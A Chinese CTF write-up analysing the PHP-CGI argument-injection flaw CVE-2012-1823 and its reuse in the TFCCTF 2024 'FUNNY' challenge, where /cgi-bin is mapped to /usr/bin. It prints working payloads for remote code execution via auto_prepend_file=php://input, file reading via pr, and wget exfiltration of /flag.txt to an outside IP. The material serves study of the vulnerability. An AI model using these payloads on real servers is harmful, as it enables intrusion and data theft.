背景 CVE-2012-1823
PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析 | 离别歌
省流:
命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入
简单复现:
vulhub的环境
/index.php?-s
查看源码
文件包含RCE
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
发散利用
以TFCCTF 2024的FUNNY这题为例
附件中有这样一段配置
- ScriptAlias /cgi-bin /usr/bin:-
ScriptAlias
指令将URL路径/cgi-bin
映射到服务器上的实际文件路径/usr/bin
。- 当访问http://yourdomain/cgi-bin
时,服务器实际上会访问/usr/bin
目录中的文件。- Action php-script /cgi-bin/php-cgi:-
Action
指令将某个处理程序与特定类型的文件关联起来。在这里,将自定义的php-script
处理程序与路径/cgi-bin/php-cgi
关联。- 也就是说,当一个文件被指定为php-script
类型时,服务器会将其传递给/cgi-bin/php-cgi
进行处理。- AddHandler php-script .php:-
AddHandler
指令将文件扩展名.php
与前面定义的php-script
处理程序关联。- 这意味着服务器会将所有扩展名为.php
的文件当作php-script
类型文件,并用/cgi-bin/php-cgi
处理它们。- <Directory /usr/bin>:- 该指令块定义了对于
/usr/bin
目录的访问控制规则。- Order allow,deny:这行定义了访问控制的顺序,首先allow
(允许)访问,然后deny
(拒绝)。这意味着所有未明确允许的请求将被拒绝。- Allow from all:这行允许所有来源的访问。
总的来说,这段配置定义了一个CGI环境,其中所有的
.php
文件会通过位于
/usr/bin
目录中的
php-cgi
脚本进行处理,并允许所有用户访问
/usr/bin
目录。
扫目录
直接将/cgi-bin暴露在web目录中,由于配置文件将/cgi-bin映射到靶机的/usr/bin,这意味着我们可以访问/usr/bin下的所有命令
法一:读文件
类比背景部分的传参:/index.php?-d allow_url_include=on -d auto_prepend_file=php://input
会被执行为
#!/usr/local/bin/php-cgi -d allow_url_include=on -d auto_prepend_file=php://input
这题如果我们访问/cgi-bin/cat?/flag.txt,靶机执行的就是
#!/usr/bin/cat /flag.txt
但操作后回显404,这意味着靶机/usr/bin下没有cat命令
尝试用nl读文件结果报500,这说明成功执行了/usr/bin/nl命令,但未成功回显
/cgi-bin/nl?/flag.txt
似乎不能读文件了
但其实可以
pr 命令是一个 Unix 和 Linux 系统中的命令,用于将文本文件格式化为页码化的输出,通常用于打印。pr 命令可以对文本进行分页、添加页眉、页脚、调整列数等,以便于打印或查看。
payload:
/cgi-bin/pr?/flag.txt
解释一下为什么用pr,是因为只有pr的输出第一行有换行,才能输出,其他的能执行但不能输出
响应包的格式,不换行不能显示在body,而是在header,但数据又不符合http头的格式,会报500
法二:数据外带
curl回显404
用wget外带数据
哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云
目标执行#!/usr/bin/wget http://124.222.136.33:1337 d --post-file=/flag.txt
payload:
/cgi-bin/wget?http://124.222.136.33:1337+--post-file%3d/flag.txt
成功接收到文件
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。